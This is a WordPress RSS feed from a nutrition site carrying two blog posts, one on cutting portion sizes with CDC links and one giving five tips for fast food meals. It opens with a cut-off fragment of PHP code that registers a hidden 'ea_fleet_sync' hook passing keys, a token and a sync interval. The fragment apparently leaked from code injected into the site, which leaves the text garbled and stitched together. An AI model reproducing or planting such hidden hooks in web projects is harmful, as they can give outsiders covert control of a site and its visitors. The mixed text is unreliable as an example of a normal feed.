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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Healthy options fast food – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Mon, 11 Jun 2012 18:59:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp Healthy options fast food – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Time to Scale Back- How to Reduce Portion Sizes https://skinnygeneprojectnew.dreamsites.io/time-to-scale-back-how-to-reduce-portion-sizes/ https://skinnygeneprojectnew.dreamsites.io/time-to-scale-back-how-to-reduce-portion-sizes/#respond Mon, 11 Jun 2012 18:59:15 +0000 http://skinnygeneproject.dreamhosters.com/?p=1559

HOW TO REDUCE PORTION SIZES

The great American road trip is an essential part of most summers. And it wouldn’t be complete without stopping off for a bite to eat along the way. But, not only are healthy options on the highway often hard to find, the amount of food we’re served has gotten a lot bigger.

Even off the highway, in our very own communities, it’s not always easy to find healthy, smaller-sized meals. Servings everywhere have grown, along with our waistlines.

The Centers for Disease Control and Prevention (CDC) and its partners have tips on how we can make healthier options more available in our community. Big portion sizes have become the new abnormal, and it’s time to scale back.

Here are some resources to help you and your family scale back!

Cutting Calories

Once you start looking, you can find ways to cut calories for your meals, snacks, and even beverages. Here are some examples to get you started (click link below)
http://www.cdc.gov/healthyweight/healthy_eating/cutting_calories.html

Avoiding Portion Pitfalls

When eating at many restaurants, it’s hard to miss that portion sizes have gotten larger in the last few years. The trend has also spilled over into the grocery store and vending machines, where a bagel has become a BAGEL and an “individual” bag of chips can easily feed more than one. Research shows that people unintentionally consume more calories when faced with larger portions. This can mean significant excess calorie intake, especially when eating high-calorie foods. Here are some tips to help you avoid some common portion-size pitfalls. (Click link below) http://www.cdc.gov/healthyweight/healthy_eating/portion_size.html

How to Use Fruits and Vegetables to Manage Your Weight

Fruits and vegetables are part of a well-balanced and healthy eating plan. There are many different ways to lose or maintain a healthy weight. Using more fruits and vegetables along with whole grains and lean meats, nuts, and beans is a safe and healthy one. Helping control your weight is not the only benefit of eating more fruits and vegetables. Diets rich in fruits and vegetables may reduce the risk of some types of cancer and other chronic diseases. Fruits and vegetables also provide essential vitamins and minerals, fiber, and other substances that are important for good health.

To lose weight, you must eat fewer calories than your body uses.

This doesn’t necessarily mean that you have to eat less food. You can create lower-calorie versions of some of your favorite dishes by substituting low-calorie fruits and vegetables in place of higher-calorie ingredients. The water and fiber in fruits and vegetables will add volume to your dishes, so you can eat the same amount of food with fewer calories. Most fruits and vegetables are naturally low in fat and calories and are filling.

Here are some simple ways to cut calories and eat fruits and vegetables throughout your day. (click the link) http://www.cdc.gov/healthyweight/healthy_eating/fruits_vegetables.html

For specific tips on how you can make healthier choices and reduce your portion sizes, please click here to request a FREE  appointment with one of our nutritionists.

]]> https://skinnygeneprojectnew.dreamsites.io/time-to-scale-back-how-to-reduce-portion-sizes/feed/ 0 5 Tips for Eating at Fast Food Restaurants https://skinnygeneprojectnew.dreamsites.io/5-tips-for-eating-at-fast-food-restaurants/ https://skinnygeneprojectnew.dreamsites.io/5-tips-for-eating-at-fast-food-restaurants/#respond Wed, 05 Oct 2011 17:36:19 +0000 http://skinnygeneproject.dreamhosters.com/?p=1339 We saw this article and thought it had some great, easy tips for reducing your calorie, fat, and sugar intake while eating at fast food restaurants.

By: Adana Lima

As you work towards your goal to become healthier, choosing foods which promote optimal wellness, one thing which can set you back is eating at a fast food restaurant.

When times get busy, though, you may find yourself needing a meal or snack, and so eating at a fast food place may be your only option.

Fortunately, if you know how to navigate through the fast food menu properly, eating there won’t completely ruin your diet.

Healthy Fast Food Choices

Let’s take a quick look at some of the most important things to remember when eating at a fast food restaurant:

1. Choose Chicken Over Beef
Mostly, the beef burgers are high in saturated fat, and provide a very poor quality protein source.

Instead, go for a chicken breast, but be sure that it is grilled — a breaded chicken breast may actually be a worse choice, than if you had opted for the burger.

   sxc.hu: lockstockb

If the fast food location you are eating in happens to offer chilli, this can actually be a very good alternative.

The kidney beans in chili mean it has lots of fiber and protein, so it will be both filling and satisfying, without being too heavy on calories. Just take care with your portion size, and your side orders.

2. Be Careful With Fish
A seemingly smart option may be fish, but often the fish also comes breaded, and is served with a very high calorie sauce as well.

If you can find somewhere serving plain fish, that would be a great option, just ask them to bring the sauce or dressing on the side.

3. Put Your Own Condiments On
By putting your own condiments on your food, rather than taking whatever the meal is served with, you can save some serious calories, fat and sugar.

When choosing your condiments, stick with mustard, and a very small amount of ketchup, if you have to. Remember that ketchup is also very high in total sugar content, so do keep it limited to a small serving size, to prevent the calorie intake from becoming too high.

4. Take Care With Salads
Many people gravitate to salads when eating away from home, as they think they are healthier, but sometimes this isn’t the case.

While salads can be much lower in calories, many fast food restaurants add on ramen noodles, slivered nuts, croutons, cheese, bacon bits – basically the whole works.

This can add up to a lot of calories overall, which you may not notice when you think you are eating something ‘healthy.’

So, unless you specifically request that they make some alterations to the salad, you may be just as safe to avoid them entirely.

5. Choose Water
Ditching the soft drinks for plain water is one of the easiest ways to cut down on calories at the fast food restaurant. And, if water was the only drink you consumed, you could probably save at least $20 (or more) per week.

Most soft drinks contain 200 calories or more, obviously water has zero calories… it seems like a no-brainer to me when you are trying to cut down on your calorie intake.

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